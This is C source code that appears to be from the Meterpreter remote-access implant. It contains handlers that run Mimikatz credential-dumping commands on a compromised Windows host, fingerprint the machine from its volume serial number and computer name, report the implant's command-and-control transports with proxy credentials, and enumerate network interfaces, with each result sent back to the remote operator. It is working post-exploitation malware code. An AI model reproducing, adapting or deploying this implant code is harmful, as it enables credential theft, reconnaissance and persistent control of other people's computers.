/*! * @brief Handler for the generic command execution function. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the incoming packet. * @returns \c ERROR_SUCCESS */ DWORD request_exec_cmd(Remote *remote, Packet *packet) { DWORD result = ERROR_SUCCESS; Packet * response = packet_create_response(packet); wchar_t* cmd = packet_get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD); if (cmd != NULL) { dprintf("[KIWI] Executing command: %S", cmd); // While this implies that powershell is in use, this is just a naming thing, // it's not actually using powershell. wchar_t* output = powershell_reflective_mimikatz(cmd); if (output != NULL) { packet_add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output); } else { result = ERROR_OUTOFMEMORY; } free(cmd); } else { result = ERROR_INVALID_PARAMETER; } dprintf("[KIWI] Dumped, transmitting response."); packet_transmit_response(result, remote, response); dprintf("[KIWI] Done."); return ERROR_SUCCESS; }
DWORD request_core_machine_id(Remote* pRemote, Packet* pPacket) { DWORD res = ERROR_SUCCESS; Packet* pResponse = packet_create_response(pPacket); if (pResponse) { wchar_t buffer[MAX_PATH]; if (GetSystemDirectory(buffer, MAX_PATH) != 0) { wchar_t computerName[MAX_PATH]; DWORD computerNameSize = MAX_PATH; DWORD serialNumber; wchar_t* backslash = wcschr(buffer, L'\\'); *(backslash + 1) = L'\0'; GetVolumeInformation(buffer, NULL, 0, &serialNumber, NULL, 0, NULL, 0); GetComputerName(computerName, &computerNameSize); _snwprintf_s(buffer, MAX_PATH, MAX_PATH - 1, L"%04x-%04x:%s", HIWORD(serialNumber), LOWORD(serialNumber), computerName); packet_add_tlv_wstring(pResponse, TLV_TYPE_MACHINE_ID, buffer); dprintf("[CORE] sending machine id: %S", buffer); } packet_transmit_response(res, pRemote, pResponse); } return ERROR_SUCCESS; }
DWORD remote_request_core_transport_list(Remote* remote, Packet* packet) { DWORD result = ERROR_SUCCESS; Packet* response = NULL; do { response = packet_create_response(packet); if (!response) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Add the session timeout to the top level packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); Transport* current = remote->transport; Transport* first = remote->transport; do { Packet* transportGroup = packet_create_group(); if (!transportGroup) { // bomb out, returning what we have so far. break; } dprintf("[DISPATCH] Adding URL %S", current->url); packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_URL, current->url); dprintf("[DISPATCH] Adding Comms timeout %u", current->timeouts.comms); packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_COMM_TIMEOUT, current->timeouts.comms); dprintf("[DISPATCH] Adding Retry total %u", current->timeouts.retry_total); packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_TOTAL, current->timeouts.retry_total); dprintf("[DISPATCH] Adding Retry wait %u", current->timeouts.retry_wait); packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_WAIT, current->timeouts.retry_wait); if (current->type != METERPRETER_TRANSPORT_SSL) { HttpTransportContext* ctx = (HttpTransportContext*)current->ctx; dprintf("[DISPATCH] Transport is HTTP/S"); if (ctx->ua) { packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_UA, ctx->ua); } if (ctx->proxy) { packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_HOST, ctx->proxy); } if (ctx->proxy_user) { packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_USER, ctx->proxy_user); } if (ctx->proxy_pass) { packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_PASS, ctx->proxy_pass); } if (ctx->cert_hash) { packet_add_tlv_raw(transportGroup, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); } } packet_add_group(response, TLV_TYPE_TRANS_GROUP, transportGroup); current = current->next_transport; } while (first != current); } while (0); if (response) { packet_transmit_response(result, remote, response); } return result; }
DWORD get_interfaces(Remote *remote, Packet *response) { DWORD result = ERROR_SUCCESS; ULONG flags = GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST; LPSOCKADDR sockaddr; ULONG family = AF_UNSPEC; IP_ADAPTER_ADDRESSES *pAdapters = NULL; IP_ADAPTER_ADDRESSES *pCurr = NULL; ULONG outBufLen = 0; DWORD(WINAPI *gaa)(DWORD, DWORD, void *, void *, void *); // Use the newer version so we're guaranteed to have a large enough struct. // Unfortunately, using these probably means it won't compile on older // versions of Visual Studio. =( IP_ADAPTER_UNICAST_ADDRESS_LH *pAddr = NULL; IP_ADAPTER_UNICAST_ADDRESS_LH *pPref = NULL; // IP_ADAPTER_PREFIX is only defined if NTDDI_VERSION > NTDDI_WINXP // Since we request older versions of things, we have to be explicit // when using newer structs. IP_ADAPTER_PREFIX_XP *pPrefix = NULL; // We can't rely on the `Length` parameter of the IP_ADAPTER_PREFIX_XP struct // to tell us if we're on Vista or not because it always comes out at 48 bytes // so we have to check the version manually. OSVERSIONINFOEX v; gaa = (DWORD(WINAPI *)(DWORD, DWORD, void*, void*, void*))GetProcAddress( GetModuleHandle("iphlpapi"), "GetAdaptersAddresses"); if (!gaa) { dprintf("[INTERFACE] No 'GetAdaptersAddresses'. Falling back on get_interfaces_mib"); return get_interfaces_mib(remote, response); } gaa(family, flags, NULL, pAdapters, &outBufLen); if (!(pAdapters = malloc(outBufLen))) { return ERROR_NOT_ENOUGH_MEMORY; } if (gaa(family, flags, NULL, pAdapters, &outBufLen)) { result = GetLastError(); goto out; } dprintf("[INTERFACE] pAdapters->Length = %d", pAdapters->Length); // According to http://msdn.microsoft.com/en-us/library/windows/desktop/aa366058(v=vs.85).aspx // the PIP_ADAPTER_PREFIX doesn't exist prior to XP SP1. We check for this via the `Length` // value, which is 72 in XP without an SP, but 144 in later versions. if (pAdapters->Length <= 72) { dprintf("[INTERFACE] PIP_ADAPTER_PREFIX is missing"); result = get_interfaces_mib(remote, response); goto out; } // we'll need to know the version later on memset(&v, 0, sizeof(v)); v.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); GetVersionEx((LPOSVERSIONINFO)&v); // Enumerate the entries for (pCurr = pAdapters; pCurr; pCurr = pCurr->Next) { // Save the first prefix for later in case we don't have an OnLinkPrefixLength pPrefix = pCurr->FirstPrefix; Packet* group = packet_create_group(); dprintf("[INTERFACE] Adding index: %u", pCurr->IfIndex); packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, pCurr->IfIndex); dprintf("[INTERFACE] Adding MAC"); packet_add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)pCurr->PhysicalAddress, pCurr->PhysicalAddressLength); dprintf("[INTERFACE] Adding Description"); packet_add_tlv_wstring(group, TLV_TYPE_MAC_NAME, pCurr->Description); dprintf("[INTERFACE] Adding MTU: %u", pCurr->Mtu); packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, pCurr->Mtu); for (pAddr = (IP_ADAPTER_UNICAST_ADDRESS_LH*)pCurr->FirstUnicastAddress; pAddr; pAddr = pAddr->Next) { sockaddr = pAddr->Address.lpSockaddr; if (AF_INET != sockaddr->sa_family && AF_INET6 != sockaddr->sa_family) { // Skip interfaces that aren't IP continue; } DWORD prefix = 0; if (v.dwMajorVersion >= 6) { // Then this is Vista+ and the OnLinkPrefixLength member // will be populated dprintf("[INTERFACES] >= Vista, using prefix: %x", pAddr->OnLinkPrefixLength); prefix = htonl(pAddr->OnLinkPrefixLength); } else if (pPrefix) { dprintf("[INTERFACES] < Vista, using prefix: %x", pPrefix->PrefixLength); prefix = htonl(pPrefix->PrefixLength); } else { dprintf("[INTERFACES] < Vista, no prefix"); prefix = 0; } if (prefix) { dprintf("[INTERFACE] Adding Prefix: %x", prefix); // the UINT value is already byte-swapped, so we add it as a raw instead of // swizzling the bytes twice. packet_add_tlv_raw(group, TLV_TYPE_IP_PREFIX, (PUCHAR)&prefix, sizeof(prefix)); } if (sockaddr->sa_family == AF_INET) { dprintf("[INTERFACE] Adding IPv4 Address: %x", ((struct sockaddr_in *)sockaddr)->sin_addr); packet_add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr), 4); } else { dprintf("[INTERFACE] Adding IPv6 Address"); packet_add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr), 16); packet_add_tlv_raw(group, TLV_TYPE_IP6_SCOPE, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_scope_id), sizeof(DWORD)); } } // Add the interface group packet_add_group(response, TLV_TYPE_NETWORK_INTERFACE, group); } out: free(pAdapters); return result; }